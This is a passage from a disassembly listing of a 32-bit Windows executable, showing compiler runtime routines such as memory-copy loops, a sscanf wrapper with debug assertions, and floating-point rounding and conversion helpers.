loc_41942C:				; CODE XREF: sub_419330:loc_41938Cj
					; DATA XREF: sub_419330+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_419434:				; CODE XREF: sub_419330:loc_41938Cj
					; DATA XREF: sub_419330+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41943C:				; CODE XREF: sub_419330:loc_41938Cj
					; DATA XREF: sub_419330+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_419444:				; CODE XREF: sub_419330:loc_41938Cj
					; DATA XREF: sub_419330+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41944C:				; CODE XREF: sub_419330:loc_41938Cj
					; DATA XREF: sub_419330+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_419454:				; CODE XREF: sub_419330:loc_41938Cj
					; DATA XREF: sub_419330+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41945C:				; CODE XREF: sub_419330:loc_41938Cj
					; DATA XREF: sub_419330+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41946F:				; CODE XREF: sub_419330:loc_41938Cj
					; DATA XREF: sub_419330:off_41940Co
		jmp	off_419478[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_419478	dd offset loc_419488	; DATA XREF: sub_419330+35r
					; sub_419330+92r ...
		dd offset loc_419490
		dd offset loc_41949C
		dd offset loc_4194B0
; ---------------------------------------------------------------------------


loc_419488:				; CODE XREF: sub_419330+35j
					; sub_419330+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_419490:				; CODE XREF: sub_419330+35j
					; sub_419330+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41949C:				; CODE XREF: sub_419330+35j
					; sub_419330+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4194B0:				; CODE XREF: sub_419330+35j
					; sub_419330+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4194C8:				; CODE XREF: sub_419330+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4194FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4194F0
		std
		rep movsd
		cld
		jmp	off_419610[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4194F0:				; CODE XREF: sub_419330+1B1j
					; sub_419330+208j ...
		neg	ecx
		jmp	off_4195C0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4194FC:				; CODE XREF: sub_419330+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_419514
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_419514+4[eax*4]
; ---------------------------------------------------------------------------


loc_419514:				; CODE XREF: sub_419330+1D6j
					; DATA XREF: sub_419330+1DDr
		jmp	off_419610[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		sub	[ebp-6AB7FFBFh], dl
		inc	ecx
		add	[eax-6Bh], dh
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_4194F0
		std
		rep movsd
		cld
		jmp	off_419610[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4194F0
		std
		rep movsd
		cld
		jmp	off_419610[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4194F0
		std
		rep movsd
		cld
		jmp	off_419610[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4195C4
		dd offset loc_4195CC
		dd offset loc_4195D4
		dd offset loc_4195DC
		dd offset loc_4195E4
		dd offset loc_4195EC
		dd offset loc_4195F4
off_4195C0	dd offset loc_419607	; DATA XREF: sub_419330+1C2r
; ---------------------------------------------------------------------------


loc_4195C4:				; DATA XREF: sub_419330+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_4195CC:				; DATA XREF: sub_419330+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_4195D4:				; DATA XREF: sub_419330+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_4195DC:				; DATA XREF: sub_419330+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_4195E4:				; DATA XREF: sub_419330+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_4195EC:				; DATA XREF: sub_419330+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_4195F4:				; DATA XREF: sub_419330+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_419607:				; CODE XREF: sub_419330+1C2j
					; DATA XREF: sub_419330:off_4195C0o
		jmp	off_419610[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_419610	dd offset loc_419620	; DATA XREF: sub_419330+1B7r
					; sub_419330:loc_419514r ...
		dd offset loc_419628
		dd offset loc_419638
		dd offset loc_41964C
; ---------------------------------------------------------------------------


loc_419620:				; CODE XREF: sub_419330+1B7j
					; sub_419330:loc_419514j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419628:				; CODE XREF: sub_419330+1B7j
					; sub_419330:loc_419514j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419638:				; CODE XREF: sub_419330+1B7j
					; sub_419330:loc_419514j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41964C:				; CODE XREF: sub_419330+1B7j
					; sub_419330:loc_419514j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_419330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419670	proc near		; CODE XREF: sub_40A547+40p
					; sub_40D0F7+23Dp ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_8]
		mov	[ebp+var_2C], ecx


loc_419685:				; CODE XREF: sub_419670+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_4196A9
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	42h
		push	offset aSscanf_c ; "sscanf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4196A9
		int	3		; Trap to Debugger


loc_4196A9:				; CODE XREF: sub_419670+19j
					; sub_419670+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_419685


loc_4196AF:				; CODE XREF: sub_419670+67j
		cmp	[ebp+arg_4], 0
		jnz	short loc_4196D3
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	43h
		push	offset aSscanf_c ; "sscanf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4196D3
		int	3		; Trap to Debugger


loc_4196D3:				; CODE XREF: sub_419670+43j
					; sub_419670+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4196AF
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 49h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_4236C0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_419670	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419730(double)

sub_419730	proc near		; CODE XREF: sub_40B76A+38p

var_1C		= qword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0FFFFh
		mov	eax, dword_444EB0
		push	eax
		call	sub_425B20
		add	esp, 8
		mov	[ebp+var_C], eax
		mov	ecx, dword ptr [ebp+arg_0+6]
		and	ecx, 0FFFFh
		and	ecx, 7FF0h
		cmp	ecx, 7FF0h
		jnz	loc_4197EB
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_425920
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	short loc_4197C2
		cmp	[ebp+var_10], 2
		jle	short loc_41978E
		cmp	[ebp+var_10], 3
		jz	short loc_4197A7
		jmp	short loc_4197C2
; ---------------------------------------------------------------------------


loc_41978E:				; CODE XREF: sub_419730+54j
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_425B20
		add	esp, 8
		fld	[ebp+arg_0]
		jmp	loc_419861
; ---------------------------------------------------------------------------


loc_4197A7:				; CODE XREF: sub_419730+5Aj
		mov	edx, [ebp+var_C]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; double
		push	0Bh		; int
		call	sub_424BE0
		add	esp, 10h
		jmp	loc_419861
; ---------------------------------------------------------------------------


loc_4197C2:				; CODE XREF: sub_419730+4Ej
					; sub_419730+5Cj
		mov	edx, [ebp+var_C]
		push	edx		; int
		fld	[ebp+arg_0]
		fadd	dbl_434D30
		sub	esp, 8
		fstp	[esp+1Ch+var_1C]
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax		; int
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; int
		push	0Bh		; int
		push	8		; int
		call	sub_424CB0
		add	esp, 1Ch
		jmp	short loc_419861
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419730+31j
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax		; double
		call	sub_424BC0
		add	esp, 8
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		fnstsw	ax
		test	ah, 40h
		jz	short loc_419821
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_425B20
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_419861
; ---------------------------------------------------------------------------


loc_419821:				; CODE XREF: sub_419730+D9j
		mov	edx, [ebp+var_C]
		and	edx, 20h
		test	edx, edx
		jz	short loc_419841
		push	0FFFFh
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_425B20
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_419861
; ---------------------------------------------------------------------------


loc_419841:				; CODE XREF: sub_419730+F9j
		mov	ecx, [ebp+var_C]
		push	ecx		; int
		mov	edx, dword ptr [ebp+var_8+4]
		push	edx
		mov	eax, dword ptr [ebp+var_8]
		push	eax		; double
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx		; int
		mov	edx, dword ptr [ebp+arg_0]
		push	edx		; int
		push	0Bh		; int
		push	10h		; int
		call	sub_424CB0
		add	esp, 1Ch


loc_419861:				; CODE XREF: sub_419730+72j
					; sub_419730+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_419730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419870	proc near		; CODE XREF: sub_417AB0+Cp
					; DATA XREF: .data:off_444EBCo
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_4198B0
		call	sub_425C60
		mov	dword_4DDFCC, eax
		call	sub_425BE0
		fnclex
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198A0	proc near		; DATA XREF: .data:00444EC0o
					; .data:00444EC4o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_4198A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198B0	proc near		; CODE XREF: sub_419870+6p
		push	ebp
		mov	ebp, esp
		mov	off_447838, offset sub_426350
		mov	off_44783C, offset sub_425D60
		mov	off_447840, offset sub_425E70
		mov	off_447844, offset sub_425CB0
		mov	off_447848, offset sub_425E40
		mov	off_44784C, offset sub_426350
		pop	ebp
		retn
sub_4198B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DDFC8
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4DDFC8, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41991C	proc near		; CODE XREF: sub_40B76A+1Bp
					; sub_40B76A+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41991C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419950(double)

sub_419950	proc near		; CODE XREF: sub_40B7B6+79p

var_1C		= qword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0FFFFh
		mov	eax, dword_444EC8
		push	eax
		call	sub_425B20
		add	esp, 8
		mov	[ebp+var_C], eax
		mov	ecx, dword ptr [ebp+arg_0+6]
		and	ecx, 0FFFFh
		and	ecx, 7FF0h
		cmp	ecx, 7FF0h
		jnz	loc_419A0B
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_425920
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	short loc_4199E2
		cmp	[ebp+var_10], 2
		jle	short loc_4199AE
		cmp	[ebp+var_10], 3
		jz	short loc_4199C7
		jmp	short loc_4199E2
; ---------------------------------------------------------------------------


loc_4199AE:				; CODE XREF: sub_419950+54j
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_425B20
		add	esp, 8
		fld	[ebp+arg_0]
		jmp	loc_419A81
; ---------------------------------------------------------------------------


loc_4199C7:				; CODE XREF: sub_419950+5Aj
		mov	edx, [ebp+var_C]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; double
		push	0Ch		; int
		call	sub_424BE0
		add	esp, 10h
		jmp	loc_419A81
; ---------------------------------------------------------------------------


loc_4199E2:				; CODE XREF: sub_419950+4Ej
					; sub_419950+5Cj
		mov	edx, [ebp+var_C]
		push	edx		; int
		fld	[ebp+arg_0]
		fadd	dbl_434D30
		sub	esp, 8
		fstp	[esp+1Ch+var_1C]
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax		; int
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; int
		push	0Ch		; int
		push	8		; int
		call	sub_424CB0
		add	esp, 1Ch
		jmp	short loc_419A81
; ---------------------------------------------------------------------------


loc_419A0B:				; CODE XREF: sub_419950+31j
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax		; double
		call	sub_424BC0
		add	esp, 8
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		fnstsw	ax
		test	ah, 40h
		jz	short loc_419A41
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_425B20
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_419A81
; ---------------------------------------------------------------------------


loc_419A41:				; CODE XREF: sub_419950+D9j
		mov	edx, [ebp+var_C]
		and	edx, 20h
		test	edx, edx
		jz	short loc_419A61
		push	0FFFFh
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_425B20
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_419A81
; ---------------------------------------------------------------------------


loc_419A61:				; CODE XREF: sub_419950+F9j
		mov	ecx, [ebp+var_C]
		push	ecx		; int
		mov	edx, dword ptr [ebp+var_8+4]
		push	edx
		mov	eax, dword ptr [ebp+var_8]
		push	eax		; double
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx		; int
		mov	edx, dword ptr [ebp+arg_0]
		push	edx		; int
		push	0Ch		; int
		push	10h		; int
		call	sub_424CB0
		add	esp, 1Ch


loc_419A81:				; CODE XREF: sub_419950+72j
					; sub_419950+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_419950	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A90	proc near		; CODE XREF: sub_40C00Dj
					; sub_41CBB0+590p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_419AB0
		cmp	edi, eax
		jb	loc_419C28


loc_419AB0:				; CODE XREF: sub_419A90+16j
		test	edi, 3
		jnz	short loc_419ACC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_419AEC
		rep movsd
		jmp	off_419BD8[edx*4]
; ---------------------------------------------------------------------------


loc_419ACC:				; CODE XREF: sub_419A90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_419AE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_419AEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_419AE4:				; CODE XREF: sub_419A90+46j
		jmp	dword ptr loc_419BE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_419AEC:				; CODE XREF: sub_419A90+31j
					; sub_419A90+8Ej ...
		jmp	off_419B6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_419B00
		dd offset loc_419B2C
		dd offset loc_419B50
; ---------------------------------------------------------------------------


loc_419B00:				; DATA XREF: sub_419A90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_419AEC
		rep movsd
		jmp	off_419BD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_419B2C:				; DATA XREF: sub_419A90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_419AEC
		rep movsd
		jmp	off_419BD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_419B50:				; DATA XREF: sub_419A90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_419AEC
		rep movsd
		jmp	off_419BD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_419B6C	dd offset loc_419BCF	; DATA XREF: sub_419A90:loc_419AECr
		dd offset loc_419BBC
		dd offset loc_419BB4
		dd offset loc_419BAC
		dd offset loc_419BA4
		dd offset loc_419B9C
		dd offset loc_419B94
		dd offset loc_419B8C
; ---------------------------------------------------------------------------


loc_419B8C:				; CODE XREF: sub_419A90:loc_419AECj
					; DATA XREF: sub_419A90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_419B94:				; CODE XREF: sub_419A90:loc_419AECj
					; DATA XREF: sub_419A90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_419B9C:				; CODE XREF: sub_419A90:loc_419AECj
					; DATA XREF: sub_419A90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_419BA4:				; CODE XREF: sub_419A90:loc_419AECj
					; DATA XREF: sub_419A90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_419BAC:				; CODE XREF: sub_419A90:loc_419AECj
					; DATA XREF: sub_419A90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_419BB4:				; CODE XREF: sub_419A90:loc_419AECj
					; DATA XREF: sub_419A90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_419BBC:				; CODE XREF: sub_419A90:loc_419AECj
					; DATA XREF: sub_419A90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_419BCF:				; CODE XREF: sub_419A90:loc_419AECj
					; DATA XREF: sub_419A90:off_419B6Co
		jmp	off_419BD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_419BD8	dd offset loc_419BE8	; DATA XREF: sub_419A90+35r
					; sub_419A90+92r ...
		dd offset loc_419BF0
		dd offset loc_419BFC
		dd offset loc_419C10
; ---------------------------------------------------------------------------


loc_419BE8:				; CODE XREF: sub_419A90+35j
					; sub_419A90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_419BF0:				; CODE XREF: sub_419A90+35j
					; sub_419A90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419BFC:				; CODE XREF: sub_419A90+35j
					; sub_419A90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_419C10:				; CODE XREF: sub_419A90+35j
					; sub_419A90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419C28:				; CODE XREF: sub_419A90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_419C5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_419C50
		std
		rep movsd
		cld
		jmp	off_419D70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_419C50:				; CODE XREF: sub_419A90+1B1j
					; sub_419A90+208j ...
		neg	ecx
		jmp	off_419D20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_419C5C:				; CODE XREF: sub_419A90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_419C74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_419C74+4[eax*4]
; ---------------------------------------------------------------------------


loc_419C74:				; CODE XREF: sub_419A90+1D6j
					; DATA XREF: sub_419A90+1DDr
		jmp	off_419D70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[ecx+eax*2+419CA800h], bl
		add	al, dl
		pushf
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_419C50
		std
		rep movsd
		cld
		jmp	off_419D70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_419C50
		std
		rep movsd
		cld
		jmp	off_419D70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_419C50
		std
		rep movsd
		cld
		jmp	off_419D70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_419D24
		dd offset loc_419D2C
		dd offset loc_419D34
		dd offset loc_419D3C
		dd offset loc_419D44
		dd offset loc_419D4C
		dd offset loc_419D54
off_419D20	dd offset loc_419D67	; DATA XREF: sub_419A90+1C2r
; ---------------------------------------------------------------------------


loc_419D24:				; DATA XREF: sub_419A90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_419D2C:				; DATA XREF: sub_419A90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_419D34:				; DATA XREF: sub_419A90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_419D3C:				; DATA XREF: sub_419A90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_419D44:				; DATA XREF: sub_419A90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_419D4C:				; DATA XREF: sub_419A90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_419D54:				; DATA XREF: sub_419A90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_419D67:				; CODE XREF: sub_419A90+1C2j
					; DATA XREF: sub_419A90:off_419D20o
		jmp	off_419D70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_419D70	dd offset loc_419D80	; DATA XREF: sub_419A90+1B7r
					; sub_419A90:loc_419C74r ...
		dd offset loc_419D88
		dd offset loc_419D98
		dd offset loc_419DAC
; ---------------------------------------------------------------------------


loc_419D80:				; CODE XREF: sub_419A90+1B7j
					; sub_419A90:loc_419C74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419D88:				; CODE XREF: sub_419A90+1B7j
					; sub_419A90:loc_419C74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419D98:				; CODE XREF: sub_419A90+1B7j
